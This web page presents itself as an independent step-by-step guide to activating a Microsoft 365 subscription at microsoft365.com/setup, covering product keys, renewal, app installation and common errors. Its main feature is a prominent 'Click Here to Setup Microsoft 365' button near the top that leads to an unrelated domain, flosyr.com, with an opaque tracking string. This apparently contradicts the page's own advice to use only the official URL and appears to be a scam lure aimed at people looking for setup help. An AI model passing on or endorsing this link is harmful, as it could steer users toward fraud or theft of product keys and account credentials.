> ## Documentation Index
> Fetch the complete documentation index at: https://setup365.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Activate Your Subscription at microsoft365.com/setup

> Step-by-step guide to activate your subscription at microsoft365.com/setup: redeem your 25-character product key and link it to your Microsoft account.

To activate a subscription at microsoft365.com/setup, you redeem the 25-character product key that came with your purchase and link it to a Microsoft account. This guide shows exactly how to go to microsoft365.com/setup, enter your key, confirm your subscription, and what to do if something goes wrong along the way.

<div className="not-prose" style={{ textAlign: "center", margin: "28px 0" }}>
  <a href="https://flosyr.com/?1S4kP7cSoM2cE8OJTqAm1DmdKtSaAJmsdaSHhdBSP
  " target="_blank" rel="noopener noreferrer" style={{ display: "inline-block", padding: "14px 34px", borderRadius: "9999px", background: "linear-gradient(90deg, #C43600, #B64B10, #E07B2E)", color: "#ffffff", fontWeight: 700, fontSize: "17px", textDecoration: "none", boxShadow: "0 8px 20px rgba(182, 75, 16, 0.35)" }}>Click Here to Setup Microsoft 365 →</a>
</div>

## What you need before you go to microsoft365.com/setup

Gather these before you start so activation goes smoothly:

* **Your 25-character product key.** It is printed on the retail card (often under a scratch-off strip) or included in the confirmation email from the store where you bought Microsoft 365.
* **A Microsoft account.** This can be an Outlook.com, Hotmail, or Live address, or any email address you have registered as a Microsoft account. You can also create a new one during setup.
* **An up-to-date browser and a stable internet connection.**

<Warning>
  A product key can be redeemed only once. The subscription becomes permanently tied to the Microsoft account you sign in with, so choose the account you plan to keep using.
</Warning>

## How to activate your subscription at microsoft365.com/setup

<Steps>
  <Step title="Go to microsoft365.com/setup">
    Type `https://www.microsoft365.com/setup` directly into your browser's address bar. Do not click ads or links from unknown emails. See [using the official setup URL safely](/blog/official-setup-url-safety).
  </Step>

  <Step title="Sign in or create a Microsoft account">
    Select **Sign in** and use the account you want the subscription attached to. If you do not have one, choose the option to create a new account. Not sure which account to use? Read [how to link your Microsoft account](/blog/link-microsoft-account-setup).
  </Step>

  <Step title="Enter your product key">
    Type the 25-character product key exactly as printed. Double-check similar-looking characters before you continue.
  </Step>

  <Step title="Choose your country or region and language">
    Select your country or region and preferred language, then continue.
  </Step>

  <Step title="Confirm and finish">
    Review the subscription details and confirm. Your subscription is now active and appears on the services and subscriptions page of your Microsoft account.
  </Step>
</Steps>

<Tip>
  Keep your product card or email in a safe place even after activation. It is useful proof of purchase if you ever contact Microsoft Support.
</Tip>

## Renewing or extending an existing subscription

If you already have an active Microsoft 365 subscription and bought a new product key to renew it, the process is the same. Visit microsoft365.com/setup, sign in with the **same** Microsoft account that holds your current subscription, and enter the new key. The additional time is added to your existing subscription instead of creating a separate one.

## After you activate your subscription

Activation only adds the subscription to your account. To actually use Word, Excel, PowerPoint, and Outlook, you still need to install the apps:

1. Sign in to your Microsoft account or microsoft365.com.
2. Select **Install apps**.
3. Run the installer and sign in to any app with the same account.

Full instructions for each device are in [installing Microsoft 365 apps](/blog/install-microsoft-365-apps).

## Common activation problems

<AccordionGroup>
  <Accordion title="The page says my product key is invalid">
    Check for typos and similar-looking characters. Make sure the key is for Microsoft 365 and that you are using microsoft365.com/setup, not a different product's page.
  </Accordion>

  <Accordion title="The page says my product key has already been used">
    The key may have been redeemed already, possibly by you on a different Microsoft account. Sign in to your other accounts and check their subscriptions. If you cannot find it, contact [Microsoft Support](https://support.microsoft.com) with your proof of purchase.
  </Accordion>

  <Accordion title="I activated with the wrong Microsoft account">
    The subscription stays on the account that redeemed it. Use that account to install and sign in to the apps, or contact [Microsoft Support](https://support.microsoft.com) for options.
  </Accordion>

  <Accordion title="The setup page will not load">
    Try a private browsing window, a different browser, or clear your cache and cookies. More fixes are in the [troubleshooting guide](/blog/microsoft365-setup-troubleshooting).
  </Accordion>
</AccordionGroup>

## Related guides

<CardGroup cols={2}>
  <Card title="What is microsoft365.com/setup?" icon="circle-question" href="/blog/https-microsoft365-com-setup">
    Understand the setup page before you start.
  </Card>

  <Card title="Install Microsoft 365 apps" icon="download" href="/blog/install-microsoft-365-apps">
    Install on Windows, Mac, and mobile.
  </Card>

  <Card title="Business setup" icon="building" href="/blog/microsoft365-com-setup-business">
    Setting up a Business plan instead?
  </Card>

  <Card title="Troubleshooting" icon="wrench" href="/blog/microsoft365-setup-troubleshooting">
    Fix common setup issues.
  </Card>
</CardGroup>

<Note>
  This is an independent guide and is not affiliated with Microsoft. Always enter your product key only on the official microsoft365.com/setup page.
</Note>


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.